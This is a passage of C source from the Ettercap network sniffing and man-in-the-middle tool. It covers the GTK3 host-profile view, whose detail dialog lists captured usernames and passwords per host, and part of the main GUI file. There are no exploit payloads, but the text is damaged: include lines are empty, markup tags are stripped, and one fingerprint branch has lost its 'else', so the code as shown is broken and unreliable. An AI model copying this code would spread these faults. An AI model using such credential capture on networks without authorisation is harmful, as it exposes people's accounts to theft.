tmp[MAX_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN]; int found = 0; /* variable not used */ (void) data; if(!ls_profiles) { ls_profiles = gtk_list_store_new (5, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_POINTER); } /* get iter for first item in list widget */ model = GTK_TREE_MODEL(ls_profiles); gotiter = gtk_tree_model_get_iter_first(model, &iter); TAILQ_FOREACH(hcurr, &EC_GBL_PROFILES, next) { /* see if the item is already in our list */ gotiter = gtk_tree_model_get_iter_first(model, &iter); while(gotiter) { gtk_tree_model_get (model, &iter, 4, &hitem, -1); if(hcurr == hitem) { found = 0; /* search at least one account */ LIST_FOREACH(o, &(hcurr->open_ports_head), next) { LIST_FOREACH(u, &(o->users_list_head), next) { found = 1; } } gtk_list_store_set (ls_profiles, &iter, 0, (found)?"X":" ", -1); /* check if we have to update the hostname */ if (strcmp(hcurr->hostname,"")) { gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } else { /* resolve the hostname (using the cache) */ if (host_iptoa(&hcurr->L3_addr, name) == -E_NOMATCH) { gtk_list_store_set(ls_profiles, &iter, 2, "resolving...", -1); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LIST_STORE; ro->liststore = GTK_LIST_STORE(ls_profiles); ro->treeiter = iter; ro->column = 2; ro->ip = &hcurr->L3_addr; g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { strncpy(hcurr->hostname, name, MAX_HOSTNAME_LEN); gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } } break; } gotiter = gtk_tree_model_iter_next(model, &iter); } /* if it is, move on to next item */ if(gotiter) continue; found = 0; /* search at least one account */ LIST_FOREACH(o, &(hcurr->open_ports_head), next) { LIST_FOREACH(u, &(o->users_list_head), next) { found = 1; } } /* otherwise, add the new item */ gtk_list_store_append (ls_profiles, &iter); gtk_list_store_set (ls_profiles, &iter, 0, (found)?"X":" ", 1, ip_addr_ntoa(&hcurr->L3_addr, tmp), 4, hcurr, -1); #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) gtk_list_store_set(ls_profiles, &iter, 3, geoip_country_by_ip(&hcurr->L3_addr), -1); #endif /* treat hostname resolution differently due to async processing */ if (strcmp(hcurr->hostname,"")) { gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } else { /* resolve the hostname (using the cache) */ if (host_iptoa(&hcurr->L3_addr, name) == -E_NOMATCH) { gtk_list_store_set(ls_profiles, &iter, 2, "resolving...", -1); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LIST_STORE; ro->liststore = GTK_LIST_STORE(ls_profiles); ro->treeiter = iter; ro->column = 2; ro->ip = &hcurr->L3_addr; g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { strncpy(hcurr->hostname, name, MAX_HOSTNAME_LEN); gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } } } return TRUE; } /* * display details for a profile */ static void gtkui_profile_detail(void) { GtkWidget *dwindow, *vbox, *hbox, *grid, *label, *header, *content; struct host_profile *h; struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; char os[OS_LEN+1]; gchar *str, *markup; guint col = 0, row = 0; DEBUG_MSG("gtkui_profile_detail"); h = gtkui_profile_selected(); memset(os, 0, sizeof(os)); header = gtk_header_bar_new(); gtk_header_bar_set_title(GTK_HEADER_BAR(header), "Profile Details"); gtk_header_bar_set_decoration_layout(GTK_HEADER_BAR(header), ":close"); gtk_header_bar_set_show_close_button(GTK_HEADER_BAR(header), TRUE); dwindow = gtk_dialog_new(); gtk_window_set_titlebar(GTK_WINDOW(dwindow), header); gtk_window_set_modal(GTK_WINDOW(dwindow), TRUE); gtk_window_set_transient_for(GTK_WINDOW(dwindow), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(dwindow), GTK_WIN_POS_CENTER_ON_PARENT); gtk_container_set_border_width(GTK_CONTAINER(dwindow), 5); g_signal_connect(G_OBJECT(dwindow), "delete-event", G_CALLBACK(gtkui_profile_detail_destroy), NULL); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 5); content = gtk_dialog_get_content_area(GTK_DIALOG(dwindow)); gtk_container_add(GTK_CONTAINER(content), vbox); grid = gtk_grid_new(); gtk_grid_set_row_spacing(GTK_GRID(grid), 5); gtk_grid_set_column_spacing(GTK_GRID(grid), 5); gtk_container_set_border_width(GTK_CONTAINER(grid), 8); gtk_box_pack_start(GTK_BOX(vbox), grid, FALSE, FALSE, 0); /* Host Information */ label = gtk_label_new("Host Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 3, 1); g_free(markup); row++; label = gtk_label_new("IP address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(ip_addr_ntoa(&h->L3_addr, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); if (EC_GBL_OPTIONS->resolve) { row++; label = gtk_label_new("Hostname:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(h->hostname); if (!strcmp(h->hostname,"")) { /* resolve the hostname (using the cache) */ if (host_iptoa(&h->L3_addr, h->hostname) == -E_NOMATCH) { gtk_label_set_text(GTK_LABEL(label), "resolving..."); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LABEL; ro->widget = GTK_WIDGET(label); ro->ip = &h->L3_addr; detail_timer = g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { gtk_label_set_text(GTK_LABEL(label), h->hostname); } } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); } #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) { row++; label = gtk_label_new("Location:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(geoip_country_by_ip(&h->L3_addr)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); } #endif if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) { row++; label = gtk_label_new("MAC address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(mac_addr_ntoa(h->L2_addr, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); row++; label = gtk_label_new("Manufacturer:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(manuf_search(h->L2_addr)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); } /* Connectivity information */ row++; label = gtk_label_new("Connectivity Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_widget_set_margin_top(label, 10); gtk_grid_attach(GTK_GRID(grid), label, col, row, 3, 1); g_free(markup); row++; label = gtk_label_new("Distance:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new((str = g_strdup_printf("%d", h->distance))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); g_free(str); row++; label = gtk_label_new("Type:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); if (h->type & FP_GATEWAY) label = gtk_label_new("GATEWAY"); else if (h->type & FP_HOST_LOCAL) label = gtk_label_new("LAN host"); else if (h->type & FP_ROUTER) label = gtk_label_new("REMOTE ROUTER"); else if (h->type & FP_HOST_NONLOCAL) label = gtk_label_new("REMOTE host"); else if (h->type == FP_UNKNOWN) label = gtk_label_new("unknown"); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); /* OS and service information */ row++; label = gtk_label_new("OS and Service Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_widget_set_margin_top(label, 10); gtk_grid_attach(GTK_GRID(grid), label, col, row, 3, 1); g_free(markup); if (h->os) { row++; label = gtk_label_new("Observed OS:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(h->os); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); } row++; label = gtk_label_new("Fingerprint:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(h->fingerprint); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); row++; label = gtk_label_new("Operating System:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); if (fingerprint_search(h->fingerprint, os) == E_SUCCESS) { label = gtk_label_new(os); str = g_strdup_printf("unknown fingerprint (please submit it)\nNeares one is: %s", os); label = gtk_label_new(str); g_free(str); } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); LIST_FOREACH(o, &(h->open_ports_head), next) { row++; label = gtk_label_new("Fingerprint:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); str = g_strdup_printf("%s %d", (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP", ntohs(o->L4_addr)); label = gtk_label_new(str); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 1, 1); g_free(str); str = g_strdup_printf("%s [%s]", service_search(o->L4_addr, o->L4_proto), (o->banner) ? o->banner : ""); label = gtk_label_new(str); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+2, row, 1, 1); g_free(str); LIST_FOREACH(u, &(o->users_list_head), next) { row++; if (u->failed) label = gtk_label_new("Account: *"); else label = gtk_label_new("Account:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); str = g_strdup_printf("%s / %s (%s)", u->user, u->pass, ip_addr_ntoa(&u->client, tmp)); label = gtk_label_new(str); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); g_free(str); if (u->info) { row++; label = gtk_label_new("Info:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(u->info); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1 ,row, 2, 1); } } } hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); gtk_widget_show_all(dwindow); } static void gtkui_profile_detail_destroy(GtkWidget *widget, gpointer *data) { (void)data; if (detail_timer) g_source_remove(detail_timer); gtk_widget_destroy(widget); } static void gtkui_profiles_local(void) { profile_purge_local(); gtk_list_store_clear(GTK_LIST_STORE (ls_profiles)); } static void gtkui_profiles_remote(void) { profile_purge_remote(); gtk_list_store_clear(GTK_LIST_STORE (ls_profiles)); } static void gtkui_profiles_convert(void) { profile_convert_to_hostlist(); gtkui_refresh_host_list(NULL); gtkui_message("The hosts list was populated with local profiles"); } static void gtkui_profiles_dump(void *dummy) { /* variable not used */ (void) dummy; DEBUG_MSG("gtkui_profiles_dump"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, 50, sizeof(char)); gtkui_input("Log File :", logfile, 50, dump_profiles); } static void dump_profiles(void) { /* dump the profiles */ if (profile_dump_to_file(logfile) == E_SUCCESS) gtkui_message("Profiles dumped to file"); } static struct host_profile *gtkui_profile_selected(void) { GtkTreeIter iter; GtkTreeModel *model; struct host_profile *h = NULL; model = GTK_TREE_MODEL (ls_profiles); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 4, &h, -1); } else return(NULL); /* nothing is selected */ return(h); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3.c0000644000175000017500000016101413505247364020444 0ustar koeppeakoeppea/* ettercap -- GTK+3/GNOME GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include /* \Device\NPF{...} and description are huge. There should be 2 buffers * for this; one for dev-name and 1 for description. Note: dev->description * on WinPcap can contain and newlines! */ #define IFACE_LEN 100 /* globals */ GtkApplication *etterapp = NULL; GtkWidget *window = NULL; /* main window */ GtkWidget *notebook = NULL; GtkWidget *main_menu = NULL; GtkUIManager *menu_manager = NULL; guint merge_id; GTimer *progress_timer = NULL; GtkWidget *notebook_frame = NULL; GtkWidget *textview = NULL; GtkWidget *infobar = NULL; GtkWidget *infolabel = NULL; GtkWidget *infoframe = NULL; static guint infotimer = 0; GtkTextBuffer *msgbuffer = NULL; GtkTextMark *endmark = NULL; static gboolean progress_canceled = FALSE; static GtkWidget *progress_dialog = NULL; static GtkWidget *progress_bar = NULL; /* proto */ void gtkui_start(void); static void gtkui_init(void); static void gtkui_cleanup(void); static void gtkui_update(int target); static void gtkui_msg(const char *msg); gboolean gtkui_infobar_expired(gpointer data); static void gtkui_error(const char *msg); static void gtkui_fatal_error(const char *msg); static gboolean gtkui_flush_msg(gpointer data); static void gtkui_progress(char *title, int value, int max); GtkApplication* gtkui_setup(void * activate_func, gpointer activate_param); static void gtkui_build_widgets(GApplication* app, gpointer data); static void toggle_unoffensive(GSimpleAction *action, GVariant *value, gpointer data); static void toggle_nopromisc(GSimpleAction *action, GVariant *value, gpointer data); static void gtkui_file_open(GSimpleAction *action, GVariant *value, gpointer data); static void read_pcapfile(gchar *file); static void gtkui_file_write(GSimpleAction *action, GVariant *value, gpointer data); static void write_pcapfile(void); static void gtkui_set_iface_unified(GtkComboBox *combo, gpointer data); static void gtkui_set_iface_bridge(GtkComboBox *combo, gpointer data); static gboolean gtkui_bridged_switch(GtkSwitch *switcher, gboolean state, gpointer data); static gboolean gtkui_autostart_switch(GtkSwitch *switcher, gboolean state, gpointer data); static void gtkui_sniff(GtkButton *button, gpointer data); static void gtkui_pcap_filter(GSimpleAction *action, GVariant *value, gpointer data); static void gtkui_set_netmask(GSimpleAction *action, GVariant *value, gpointer data); static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data); #define ENABLED "true" #define DISABLED "false" /* wrapper functions which inject the real function call into the main * idle loop, ensugin only th emain thread performs GTK operations */ static gboolean gtkui_cleanup_shim(gpointer data) { /* variable not used */ (void) data; gtkui_cleanup(); return FALSE; } static void gtkui_cleanup_wrap(void) { g_idle_add(gtkui_cleanup_shim, NULL); } static gboolean gtkui_msg_shim(gpointer data) { gtkui_msg(data); SAFE_FREE(data); return FALSE; } static void gtkui_msg_wrap(const char *msg) { char *copy = strdup(msg); if (msg) { g_idle_add(gtkui_msg_shim, copy); } else { FATAL_ERROR("out of memory"); } } static gboolean gtkui_error_shim(gpointer data) { gtkui_error(data); SAFE_FREE(data); return FALSE; } static void gtkui_error_wrap(const char *msg) { char *copy = strdup(msg); if (msg) { g_idle_add(gtkui_error_shim, copy); } else { FATAL_ERROR("out of memory"); } } static gboolean gtkui_fatal_error_shim(gpointer data) { gtkui_fatal_error(data); SAFE_FREE(data); return FALSE; } static void gtkui_fatal_error_wrap(const char *msg) { char *copy = strdup(msg); if (msg) { g_idle_add(gtkui_fatal_error_shim, copy); } else { FATAL_ERROR("out of memory"); } } struct gtkui_input_data { char *title; char *input; size_t n; void (*callback)(void); }; struct gtkui_progress_data { char *title; int value; int max; }; static gboolean gtkui_progress_shim(gpointer data) { struct gtkui_progress_data *gpd = data; gdouble delay; gulong usec; delay = g_timer_elapsed(progress_timer, &usec); delay += usec / 1000000; /* render progress bar if not canceled or lasting longer than 750 ms */ if (!progress_canceled && delay >= 0.75) gtkui_progress(gpd->title, gpd->value, gpd->max); SAFE_FREE(gpd->title); SAFE_FREE(gpd); return FALSE; } static int gtkui_progress_wrap(char *title, int value, int max) { struct gtkui_progress_data *gpd; if (value <= 1) { g_timer_start(progress_timer); progress_canceled = FALSE; } if (progress_canceled == TRUE) { return UI_PROGRESS_INTERRUPTED; } if (!title) { return UI_PROGRESS_UPDATED; } gpd = malloc(sizeof *gpd); if (gpd) { gpd->title = strdup(title); gpd->value = value; gpd->max = max; g_idle_add(gtkui_progress_shim, gpd); } else { FATAL_ERROR("out of memory"); } return value == max ? UI_PROGRESS_FINISHED : UI_PROGRESS_UPDATED; } /********************************************/ void set_gtk_interface(void) { struct ui_ops ops; /* wipe the struct */ memset(&ops, 0, sizeof(ops)); /* register the functions */ ops.init = >kui_init; ops.start = >kui_start; ops.type = UI_GTK; ops.cleanup = >kui_cleanup_wrap; ops.msg = >kui_msg_wrap; ops.error = >kui_error_wrap; ops.fatal_error = >kui_fatal_error_wrap; ops.input = >kui_input; ops.progress = >kui_progress_wrap; ops.update = >kui_update; ui_register(&ops); DEBUG_MSG("GTK3 -> gtk+3 %d.%d.%d\n", gtk_major_version, gtk_minor_version, gtk_micro_version); } /* * prepare GTK, create the menu/messages window, enter the first loop */ static void gtkui_init(void) { DEBUG_MSG("gtkui_init"); if(!gtk_init_check(0, NULL)) { FATAL_ERROR("GTK3 failed to initialize. Is X running?"); return; } gtkui_conf_read(); /* try to explicitely enforce dark theme if preferred */ if (EC_GBL_CONF->gtkui_prefer_dark_theme) g_object_set(gtk_settings_get_default(), "gtk-application-prefer-dark-theme", TRUE, NULL); etterapp = gtkui_setup(gtkui_build_widgets, NULL); /* initialize timer */ progress_timer = g_timer_new(); /* gui init loop, calling gtkui_sniff (--> g_application_quit) will cause * this to exit so we can proceed to the main loop * later. */ g_application_run(G_APPLICATION(etterapp), 0, NULL); g_object_unref(G_OBJECT(etterapp)); EC_GBL_UI->initialized = 1; } /* * exit ettercap */ void gtkui_exit(GSimpleAction *action, GVariant *value, gpointer data) { int left, top, width, height; (void) action; (void) value; (void) data; DEBUG_MSG("gtkui_exit"); g_timer_destroy(progress_timer); gtk_window_get_position(GTK_WINDOW (window), &left, &top); gtk_window_get_size(GTK_WINDOW (window), &width, &height); gtkui_conf_set("window_left", left); gtkui_conf_set("window_top", top); gtkui_conf_set("window_width", width); gtkui_conf_set("window_height", height); g_object_unref(etterapp); gtkui_conf_save(); clean_exit(0); } /* * reset to the previous state */ static void gtkui_cleanup(void) { DEBUG_MSG("gtk_cleanup"); } /* * process an UI update notification */ static void gtkui_update(int target) { switch (target) { case UI_UPDATE_HOSTLIST: g_idle_add((GSourceFunc)gtkui_refresh_host_list, NULL); break; case UI_UPDATE_PLUGINLIST: g_idle_add((GSourceFunc)gtkui_refresh_plugin_list, NULL); break; } } /* * print a USER_MSG() extracting it from the queue */ static void gtkui_msg(const char *msg) { GtkTextIter iter; gchar *unicode = NULL; DEBUG_MSG("gtkui_msg: %s", msg); if((unicode = gtkui_utf8_validate((char *)msg)) == NULL) return; gtk_text_buffer_get_end_iter(msgbuffer, &iter); gtk_text_buffer_insert(msgbuffer, &iter, unicode, -1); gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview), endmark, 0, FALSE, 0, 0); return; } /* flush pending messages */ gboolean gtkui_flush_msg(gpointer data) { /* variable not used */ (void) data; ui_msg_flush(MSG_ALL); return(TRUE); } /* * display about dialog */ void gtkui_about(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *content, *scroll, *vbox, *logo, *label; GtkWidget *textview, *header, *stack, *stackswitch; GtkTextBuffer *textbuf; GtkTextIter iter; GError *error = NULL; const gchar *path, *unicode; gchar *license, *authors; gsize length; (void) action; (void) value; (void) data; header = gtk_header_bar_new(); gtk_header_bar_set_title(GTK_HEADER_BAR(header), "About"); gtk_header_bar_set_show_close_button(GTK_HEADER_BAR(header), TRUE); gtk_header_bar_set_decoration_layout(GTK_HEADER_BAR(header), ":close"); dialog = gtk_dialog_new(); gtk_window_set_title(GTK_WINDOW(dialog), "About"); gtk_window_set_titlebar(GTK_WINDOW(dialog), header); gtk_window_set_modal(GTK_WINDOW(dialog), TRUE); gtk_window_set_transient_for(GTK_WINDOW(dialog), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(dialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_default_size(GTK_WINDOW(dialog), 450, 300); stack = gtk_stack_new(); gtk_stack_set_transition_type(GTK_STACK(stack), GTK_STACK_TRANSITION_TYPE_SLIDE_LEFT_RIGHT); stackswitch = gtk_stack_switcher_new(); gtk_stack_switcher_set_stack(GTK_STACK_SWITCHER(stackswitch), GTK_STACK(stack)); gtk_header_bar_set_custom_title(GTK_HEADER_BAR(header), stackswitch); /* General page */ vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 10); path = INSTALL_DATADIR "/" PROGRAM "/" LOGO_FILE_SMALL; if(g_file_test(path, G_FILE_TEST_EXISTS)) logo = gtk_image_new_from_file(path); else /* if neither path is valid gtk will use a broken image icon */ logo = gtk_image_new_from_file("./share/" LOGO_FILE_SMALL); gtk_box_pack_start(GTK_BOX(vbox), logo, TRUE, TRUE, 0); label = gtk_label_new(""); gtk_label_set_markup(GTK_LABEL(label), "" PROGRAM " " EC_VERSION ""); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); label = gtk_label_new("www.ettercap-project.org"); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_box_pack_start(GTK_BOX(vbox), label, TRUE, TRUE, 0); label = gtk_label_new("#ettercap on FreeNode IRC"); gtk_box_pack_start(GTK_BOX(vbox), label, TRUE, TRUE, 0); label = gtk_label_new(" "); gtk_box_pack_start(GTK_BOX(vbox), label, TRUE, TRUE, 30); gtk_stack_add_titled(GTK_STACK(stack), vbox, "general", "General"); /* Authors page */ scroll= gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); /* load the authors file */ g_file_get_contents("./AUTHORS", &authors, &length, &error); if (error != NULL) { /* no debug message */ g_error_free(error); error = NULL; /* 2nd try */ g_file_get_contents(INSTALL_DATADIR "/" PROGRAM "/AUTHORS", &authors, &length, &error); if (error != NULL) { DEBUG_MSG("failed to load authors file: %s", error->message); gtkui_error("Failed to load AUTHORS file."); g_error_free(error); error = NULL; } } textview = gtk_text_view_new(); gtk_text_view_set_editable(GTK_TEXT_VIEW(textview), FALSE); textbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview)); if (authors && (unicode = gtkui_utf8_validate(authors)) != NULL) { gtk_text_buffer_get_end_iter(textbuf, &iter); gtk_text_buffer_insert(textbuf, &iter, unicode, -1); } gtk_container_add(GTK_CONTAINER(scroll), textview); gtk_stack_add_titled(GTK_STACK(stack), scroll, "authors", "Authors"); /* License page */ scroll= gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); /* load license file */ g_file_get_contents("./LICENSE", &license, &length, &error); if (error != NULL) { /* no debug message */ g_error_free(error); error = NULL; /* 2nd try */ g_file_get_contents(INSTALL_DATADIR "/" PROGRAM "/LICENSE", &license, &length, &error); #ifndef OS_WINDOWS if (error != NULL) { DEBUG_MSG("failed to load license file: %s, try system path ...", error->message); g_error_free(error); error = NULL; /* 3rd try */ g_file_get_contents("/usr/share/common-licenses/GPL-2", &license, &length, &error); } #endif if (error != NULL) { DEBUG_MSG("failed to load license file: %s", error->message); gtkui_error("Failed to load LICENSE file."); g_error_free(error); error = NULL; } } textview = gtk_text_view_new(); gtk_text_view_set_editable(GTK_TEXT_VIEW(textview), FALSE); textbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview)); if (license && (unicode = gtkui_utf8_validate(license)) != NULL) { gtk_text_buffer_get_end_iter(textbuf, &iter); gtk_text_buffer_insert(textbuf, &iter, unicode, -1); } gtk_container_add(GTK_CONTAINER(scroll), textview); gtk_stack_add_titled(GTK_STACK(stack), scroll, "license", "License"); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content), stack); // TODO Ctrl+w shall close the window gtk_widget_show_all(GTK_WIDGET(dialog)); gtk_dialog_run(GTK_DIALOG(dialog)); if (authors) g_free(authors); if (license) g_free(license); gtk_widget_destroy(dialog); } /* * reimplementation of gtk_message_dialog_new() to display a message * dialog with a header-bar since the GTK implementation has hardcoded * disabled this feature in the convenience function gtk_message_dialog_new() * and gtk_message_dialog_new() is also not meant anymore to display * images or icons indicating the type of message */ GtkWidget* gtkui_message_dialog(GtkWindow *parent, GtkDialogFlags flags, GtkMessageType type, GtkButtonsType buttons, const char *msg) { GtkWidget *dialog, *label, *icon, *button, *content, *box, *header; dialog = gtk_dialog_new(); /* implement flags */ if (parent) gtk_window_set_transient_for(GTK_WINDOW(dialog), parent); if (flags & GTK_DIALOG_MODAL) gtk_window_set_modal(GTK_WINDOW(dialog), TRUE); if (flags & GTK_DIALOG_DESTROY_WITH_PARENT) gtk_window_set_destroy_with_parent(GTK_WINDOW(dialog), TRUE); if (flags & GTK_DIALOG_USE_HEADER_BAR) { header = gtk_header_bar_new(); gtk_header_bar_set_decoration_layout(GTK_HEADER_BAR(header), ":close"); gtk_header_bar_set_show_close_button(GTK_HEADER_BAR(header), TRUE); gtk_window_set_titlebar(GTK_WINDOW(dialog), header); gtk_widget_show(header); } /* buttons */ switch (buttons) { case GTK_BUTTONS_OK: button = gtk_dialog_add_button(GTK_DIALOG(dialog), "_OK", GTK_RESPONSE_OK); gtk_widget_grab_default(button); break; case GTK_BUTTONS_CLOSE: button = gtk_dialog_add_button(GTK_DIALOG(dialog), "_Close", GTK_RESPONSE_CLOSE); gtk_widget_grab_default(button); break; case GTK_BUTTONS_CANCEL: button = gtk_dialog_add_button(GTK_DIALOG(dialog), "_Cancel", GTK_RESPONSE_CANCEL); gtk_widget_grab_default(button); break; case GTK_BUTTONS_YES_NO: button = gtk_dialog_add_button(GTK_DIALOG(dialog), "_Yes", GTK_RESPONSE_YES); gtk_widget_grab_default(button); button = gtk_dialog_add_button(GTK_DIALOG(dialog), "_No", GTK_RESPONSE_NO); break; case GTK_BUTTONS_OK_CANCEL: button = gtk_dialog_add_button(GTK_DIALOG(dialog), "_OK", GTK_RESPONSE_OK); gtk_widget_grab_default(button); button = gtk_dialog_add_button(GTK_DIALOG(dialog), "_Cancel", GTK_RESPONSE_CANCEL); break; default: // GTK_BUTTONS_NONE break; } /* create horizontal box for icon and message text */ box = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 6); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_set_border_width(GTK_CONTAINER(content), 10); gtk_container_add(GTK_CONTAINER(content), box); /* icon depending on message type */ switch (type) { case GTK_MESSAGE_INFO: gtk_window_set_title(GTK_WINDOW(dialog), "Information"); icon = gtk_image_new_from_icon_name("dialog-information", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start(GTK_BOX(box), 